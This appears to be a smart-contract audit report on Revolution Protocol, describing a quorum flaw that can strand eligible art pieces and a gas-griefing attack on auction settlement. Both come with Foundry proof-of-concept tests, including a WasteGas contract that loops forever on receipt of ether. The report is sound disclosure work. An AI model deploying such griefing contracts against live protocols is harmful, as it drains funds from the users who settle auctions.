Revolution Protocol - ke1caM's results

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L519-L534

Vulnerability details

Summary

To determine if the Art Piece should be dropped (placed for auction) there are two things that matter. Piece's place in the max heap data structure and if it passed the votes quorum threshold. When Art Piece has the hightest amount of votes and has passed the quorum threshold, it is eligible to be minted and auctioned. There are situations in which the Art Piece has passed the votes quorum threshold and in fact can be minted but it possibly will never be.

Vulnerability details

When user creates the Art Piece (createPiece function in CultureIndex.sol) there are certain variables assigned to the newly created piece. We will look at totalVotesSupply and quorumVotes. totalVotesSupply is the amount of ERC20 tokens that are currently minted and amount of NFT's that were bought at the auctions multiplied by thier weight. They are used by users to cast the votes for Art Pieces. quorumVotes is used as a threshold to determine if the community wants this Art Piece to be minted and auctioned. It is the procentage of the current total voting power of all users.

function createPiece(
        ArtPieceMetadata calldata metadata,
        CreatorBps[] calldata creatorArray
    ) public returns (uint256) {
        uint256 creatorArrayLength = validateCreatorsArray(creatorArray);

        // Validate the media type and associated data
        validateMediaType(metadata);

        uint256 pieceId = _currentPieceId++;

        /// @dev Insert the new piece into the max heap
        maxHeap.insert(pieceId, 0);

        ArtPiece storage newPiece = pieces[pieceId];

        newPiece.pieceId = pieceId;
        newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(),
            erc721VotingToken.totalSupply()
        );
        newPiece.totalERC20Supply = erc20VotingToken.totalSupply();
        newPiece.metadata = metadata;
        newPiece.sponsor = msg.sender;
        newPiece.creationBlock = block.number;
        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

        for (uint i; i < creatorArrayLength; i++) {
            newPiece.creators.push(creatorArray[i]);
        }

        emit PieceCreated(pieceId, msg.sender, metadata, newPiece.quorumVotes, newPiece.totalVotesSupply);

        // Emit an event for each creator
        for (uint i; i < creatorArrayLength; i++) {
            emit PieceCreatorAdded(pieceId, creatorArray[i].creator, msg.sender, creatorArray[i].bps);
        }

        return newPiece.pieceId;
    }

ArtPiece storage newPiece = pieces[pieceId];

        newPiece.pieceId = pieceId;
        newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(),
            erc721VotingToken.totalSupply()
        );
        newPiece.totalERC20Supply = erc20VotingToken.totalSupply();
        newPiece.metadata = metadata;
        newPiece.sponsor = msg.sender;
        newPiece.creationBlock = block.number;
        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

New Art Piece is created with the parameters from the current state of the protocol. So if there are 100 ERC20 tokens, no NFT's and the quorum is 30%, a piece only needs 30 ERC20 votes to reach the quorum. It is important that when the piece is created only the user which held the token before it was created can cast votes on the Art Piece. So if all the users that held the token before it was created, voted for the art piece it could only get 100 votes.

Now let's imagine that the previons piece reached it's quorum and is currently the most voted piece but before it was minted some users bought some amount of tokens (let's say 900 tokens) which are used to vote and new piece has be created. The quorum procentage of the new piece is still 30% so it needs 300 votes (3/10 * (100 + 900)). Some users voted for the piece and it currently has only 200 votes which is below the threshold. When the protocol will try to drop a piece (dropTopVotedPiece) through AuctionHouse contract it will revert because the top voted piece has 200 votes but needs 300. The first piece which was eligible to be dropped, at the current state of the protocol, will never be the top voted piece again and will never be minted.

function dropTopVotedPiece() public nonReentrant returns (ArtPiece memory) {
        require(msg.sender == dropperAdmin, "Only dropper can drop pieces");

        ICultureIndex.ArtPiece memory piece = getTopVotedPiece();
        require(totalVoteWeights[piece.pieceId] >= piece.quorumVotes, "Does not meet quorum votes to be dropped.");

        //set the piece as dropped
        pieces[piece.pieceId].isDropped = true;

        //slither-disable-next-line unused-return
        maxHeap.extractMax();

        emit PieceDropped(piece.pieceId, msg.sender);

        return pieces[piece.pieceId];
    }

    require(totalVoteWeights[piece.pieceId] >= piece.quorumVotes, "Does not meet quorum votes to be dropped.");

PoC

To test this scenario please copy this test into packages/revolution/test/culture-index/ArtPiece.t.sol and run turbo run test.

function testPieceThatReachedQuorumCanNeverBePopped() public {
        // Get some users
        address alice = address(0x20);
        address mike = address(0x23);
        address leo = address(0x45);

        // Get voting quorum and erc20 to mint
        uint256 quorumVotesBPS = 3000;
        uint256 erc20ToMint = 10e18;

        // Set the quorum BPS
        cultureIndex._setQuorumVotesBPS(quorumVotesBPS);

        cultureIndex.transferOwnership(address(erc721Token));

        vm.startPrank(address(erc721Token));
        cultureIndex.acceptOwnership();

        // Mint tokens to first user
        vm.startPrank(address(erc20TokenEmitter));
        erc20Token.mint(alice, erc20ToMint);

        // Create an art piece
        uint256 pieceId = createDefaultArtPiece();
        CultureIndex.ArtPiece memory piece = cultureIndex.getPieceById(pieceId);

        uint256 expectedTotalVotesSupply = erc20Token.totalSupply();
        uint256 expectedQuorumVotes = (quorumVotesBPS * expectedTotalVotesSupply) / 10_000;
        assertEq(piece.quorumVotes, expectedQuorumVotes, "Quorum votes should be set correctly on creation");
        assertEq(piece.totalVotesSupply, expectedTotalVotesSupply, "Total votes supply should be set correctly on creation");
        assertEq(piece.totalERC20Supply, erc20Token.totalSupply(), "Total ERC20 supply should be set correctly on creation");

        assertEq(cultureIndex.topVotedPieceId(), pieceId);
        assertGt(erc20Token.balanceOf(alice), expectedQuorumVotes);

        vm.roll(block.number + 1);
        // Cast votes
        vm.startPrank(alice);
        voteForPiece(pieceId);

        vm.startPrank(address(erc20TokenEmitter));
        erc20Token.mint(mike, 2 * erc20ToMint);

        vm.startPrank(address(erc20TokenEmitter));
        erc20Token.mint(leo, 4 * erc20ToMint);

        // Create another piece before the previous one was dropped
        pieceId = createDefaultArtPiece();
        piece = cultureIndex.getPieceById(pieceId);

        expectedTotalVotesSupply = erc20Token.totalSupply();
        expectedQuorumVotes = (quorumVotesBPS * expectedTotalVotesSupply) / 10_000;

        assertEq(piece.quorumVotes, expectedQuorumVotes, "Quorum votes should be set correctly on creation");
        assertEq(piece.totalVotesSupply, expectedTotalVotesSupply, "Total votes supply should be set correctly on creation");
        assertEq(piece.totalERC20Supply, erc20Token.totalSupply(), "Total ERC20 supply should be set correctly on creation");

        vm.roll(block.number + 1);
        // Cast votes for newly created piece
        vm.startPrank(mike);
        voteForPiece(pieceId);

        // Now the newly created piece does not reach the quorum and revert's the mint call. Piece that was eligible to be dropped
        // can possibly never be dropped
        vm.startPrank(address(auction));
        vm.expectRevert("dropTopVotedPiece failed");
        erc721Token.mint();
    }

Further Explanation

This situation can happen if the malicious user buys the amount of token that will outgrow total supply assigned to the previous piece at the time of the creation. There is an incentive to do so as an attacker could do it to grief other user or to boost his own (user receive % of sale of the auctioned NFT). Of course there is nothing wrong with voting for his own piece but the current design will disqualify art pieces with lower total supply at creation time, as the protocol progresses. Naturally when the protocol progresses and the total supply of ERC20 tokens and NFT grows the art pieces that were created earlier lose their power and chance to be minted even when they passed their votes quorum.

Impact

Art Piece's creator can be harmed due to the desing as the protocol progresses. His piece can pass the quorum and can be top voted piece but when it will not be dropped on time the total supply will grow, so as the votes of other pieces and the piece will be stuck. It can happen as a result of an attack or natural growth of the protocol community. User will not receive their share of the sale (for the art piece NFT).

The likelihood of this event is high especially at the beginning days of the protocol and the impact is medium since user will not receive funds that are eligible but does not lose his own funds.

Tools used

VScode, Manual Review

Recommended Mitigation Steps

It might be a good idea to create an array with all the pieces that reached their votes quorum and mint from there chronologicaly. A new mechainism could be added to _vote function that checks the quorum of the Art Piece that user voted for. If it has reached the quorum, add it to the new data structed which new NFT's can be minted from.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-revolutionprotocol/blob/d42cc62b873a1b2b44f57310f9d4bbfdd875e8d6/packages/revolution/src/CultureIndex.sol#L209-L247

Vulnerability details

Summary

User can increase the gas cost of settling an auction by adding and address of a contract that will waste 50000 gas. User can pass this address 99 times with 0 bps. This will disincentivize users from settling the auction due to high transactions cost. Protocol would have to settle auctions paying high gas fees.

Vulnerability details

function createPiece(
        ArtPieceMetadata calldata metadata,
        CreatorBps[] calldata creatorArray
    ) public returns (uint256) {
        uint256 creatorArrayLength = validateCreatorsArray(creatorArray);

        // Validate the media type and associated data
        validateMediaType(metadata);

        uint256 pieceId = _currentPieceId++;

        /// @dev Insert the new piece into the max heap
        maxHeap.insert(pieceId, 0);

        ArtPiece storage newPiece = pieces[pieceId];

        newPiece.pieceId = pieceId;
        newPiece.totalVotesSupply = _calculateVoteWeight(
            erc20VotingToken.totalSupply(),
            erc721VotingToken.totalSupply()
        );
        newPiece.totalERC20Supply = erc20VotingToken.totalSupply();
        newPiece.metadata = metadata;
        newPiece.sponsor = msg.sender;
        newPiece.creationBlock = block.number;
        newPiece.quorumVotes = (quorumVotesBPS * newPiece.totalVotesSupply) / 10_000;

        for (uint i; i < creatorArrayLength; i++) {
            newPiece.creators.push(creatorArray[i]);
        }

        emit PieceCreated(pieceId, msg.sender, metadata, newPiece.quorumVotes, newPiece.totalVotesSupply);

        // Emit an event for each creator
        for (uint i; i < creatorArrayLength; i++) {
            emit PieceCreatorAdded(pieceId, creatorArray[i].creator, msg.sender, creatorArray[i].bps);
        }

        return newPiece.pieceId;
    }

In createPiece user can pass up to 100 creators with their bps values. Function allows duplicate addresses and 0 bps values which do not make sense as a normal user input. Malicious user could take advantage of the current desing and pass his address with 10000 bps value to receive 100% of the creator's share to one address and populate the input array with contract address that will waste more than 50000 gas in total (50000 passed through low-level call + other operations like depositing ether into WETH contract etc.). User can set the bps value for each address to 0.

PoC

Add testGriefTheAuctionHouse test to packages/revolution/test/auction/AuctionSettling.t.sol and run turbo run test.

function testGriefTheAuctionHouse() public {
        uint256 bidAmount = auction.reservePrice();

        address leo = address(0x23);
        address gasWaster = address(new WasteGas());
        address[] memory addresses = new address[](100);
        uint256[] memory bps = new uint256[](100);
        addresses[0] = leo;
        bps[0] = 10000;
        for (uint256 i = 1; i < 100; i++) {
            addresses[i] = gasWaster;
            bps[i] = 0;
        }

        uint256 verbId = createArtPieceMultiCreator("Art Piece", "A new art piece", ICultureIndex.MediaType.IMAGE, "ipfs://image", "", "", addresses, bps);

        auction.unpause();

        vm.deal(address(21_000), bidAmount);
        vm.startPrank(address(21_000));
        auction.createBid{ value: bidAmount }(verbId, address(21_000));
        vm.stopPrank();

        vm.warp(block.timestamp + auction.duration() + 1); // Fast forward time to end the auction

        auction.settleCurrentAndCreateNewAuction();

        assertEq(erc721Token.ownerOf(verbId), address(21_000), "Verb should be transferred to the highest bidder");
    }

contract WasteGas {
    receive() external payable {
        while (true) {
            uint256 i = 1;
            i = i + 1;
        }
    }
}

Estimated gas is around 40_000_000 which with the current gas prices 89 gwei (18.12.23) (up to 145 gwei) could waste more than 3,5 ether for settling an auction. With normal gas prices (20 gwei) it's less than 1 ether.

Current design allows malicious user to grief the caller by paying more gas than he could be paying.

Impact

Gas griefing, loss of funds for address settling the auction.

Tools used

VScode, Manual Review

Recommendations

Do not allow for duplicate addresses and 0 bps values. Allow users to create inputs that make sense when interacting with the protocol.

Assessed type

Other